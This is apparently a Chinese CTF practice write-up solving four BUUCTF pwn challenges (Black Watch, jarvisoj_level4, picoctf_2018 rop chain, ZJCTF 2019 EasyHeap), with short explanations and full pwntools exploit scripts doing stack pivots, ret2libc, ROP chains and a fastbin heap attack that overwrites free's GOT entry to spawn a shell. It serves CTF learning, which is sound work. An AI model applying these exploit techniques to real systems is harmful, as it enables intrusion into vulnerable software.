PWN-PRACTICE-BUUCTF-9

[Black Watch 入群题]PWN
jarvisoj_level4
picoctf_2018_rop chain
[ZJCTF 2019]EasyHeap

[Black Watch 入群题]PWN

vul_function可以向.bss段上写数据，还可以构成栈溢出，但只能溢出8字节，覆盖ebp和eip
利用两次栈迁移
第一次栈迁移利用write函数打印出write函数的真实地址，由偏移计算libc基址，进而得到system和"/bin/sh"地址
第二次栈迁移执行system("/bin/sh")

#coding:utf-8
from pwn import *
context.arch='i386'
context.os='linux'
#io=process('./black_watch_spwn')
io=remote('node4.buuoj.cn',28976)
elf=ELF('./black_watch_spwn')
libc=ELF('./libc-2.23-x32.so')
s_addr=0x0804A300  #bss段上s的地址
leave_ret=0x08048511
write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=elf.sym['main']
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.recvuntil('name?')
io.send(payload)
io.recvuntil('say?')
payload='a'*(0x18)   #填充buf
payload+=p32(s_addr-4)    #fake ebp
payload+=p32(leave_ret)#覆盖eip
io.send(payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
io.recvuntil('name?')
payload=p32(system)+p32(main_addr)+p32(binsh)
io.send(payload)
io.recvuntil('say?')
payload='a'*(0x18)+p32(s_addr-4)+p32(leave_ret)
io.send(payload)
io.interactive()

jarvisoj_level4

32位elf栈溢出，ret2libc

from pwn import *
#io=process('./jarvisoj_level4')
io=remote('node4.buuoj.cn',27767)
elf=ELF('./jarvisoj_level4')
libc=ELF('./libc-2.23-x32.so')
main_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
payload='a'*(0x88+4)+p32(system)+p32(main_addr)+p32(binsh)
io.sendline(payload)
io.interactive()

picoctf_2018_rop chain

打印flag需要win1和win2非零且传入的参数a1=0xDEADBAAD
win_function1函数将win1赋为1
win_function2函数在win1非零且传入的参数a1=0xBAAAAAAD时将win2赋为1
vuln函数中gets函数构成栈溢出
构造rop先执行win_function1，然后执行win_function2，最后执行flag

from pwn import *
#io=process('./PicoCTF_2018_rop_chain')
io=remote('node4.buuoj.cn',28567)
elf=ELF('./PicoCTF_2018_rop_chain')
win1=elf.sym['win_function1']
win2=elf.sym['win_function2']
flag=elf.sym['flag']
payload='a'*(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
io.recvuntil('Enter your input> ')
io.sendline(payload)
io.interactive()

[ZJCTF 2019]EasyHeap

参考：萌新详解[ZJCTF 2019]EasyHeap，带你走进pwn世界

from pwn import *
io=remote("node4.buuoj.cn",27153)
#io=process("./easyheap")
elf=ELF("./easyheap")def create(size,content):io.sendlineafter("Your choice :","1")io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap:",content)
def edit(index,size,content):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap : ",content)
def delete(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index))heaparray=0x00000000006020E0 #.bss段上的一个地址，保存了每个chunk的地址
fake_chunk=heaparray-0x38+5  #fake chunk的prev_size字段，加上8字节后为0x7f，即fake chunk的size字段
system_plt=elf.plt["system"]
free_got=elf.got["free"]#gdb.attach(io)
#pause()create(0x10,"a"*0x10) #chunk0
create(0x10,"b"*0x10) #chunk1
create(0x60,"c"*0x10) #chunk2 因为要和fake chunk的0x7f匹配，所以是0x60
create(0x10,"/bin/sh\x00") #chunk3#pause()delete(2) #free chunk2
payload="b"*0x10+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0)#让chunk2的fd指向fake chunk
edit(1,len(payload),payload)#利用堆溢出#pause()create(0x60,"c"*0x10) #chunk2
payload="d"*(0x20+3)+p64(free_got)
create(0x60,payload) #chunk4 把heaparray[0]改成了free_got#pause()payload=p64(system_plt)
edit(0,len(payload),payload)#heaparray[0]保存了free_got,free_got保存了free_plt,这里把free_plt替换成system_plt
delete(3)#system("/bin/sh\x00")#pause()io.interactive()

PWN-PRACTICE-BUUCTF-9相关推荐

BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址点击下载题目 2.checksec检查保护啥都没开,果然是war ...
持续更新 BUUCTF——PWN（二）
文章目录前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
持续更新 BUUCTF——PWN（一）
文章目录前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
[PWN] BUUCTF jarvisoj_fm
[PWN] BUUCTF jarvisoj_fm 按照惯例checksec ,开启了relro,canary,nx 执行程序,观察程序的逻辑,在打印出输入的字符后,会打印出3! 32IDA打开查看主要 ...
BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题我们运行一下试试,它让你输入一段字符然后 ...
持续更新 BUUCTF——PWN（三）
文章目录前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析这里调用了vuln函数我 ...
Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护利用思路首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

PWN-PRACTICE-BUUCTF-9

PWN-PRACTICE-BUUCTF-9

[Black Watch 入群题]PWN

jarvisoj_level4

picoctf_2018_rop chain

[ZJCTF 2019]EasyHeap

PWN-PRACTICE-BUUCTF-9相关推荐

最新文章

热门文章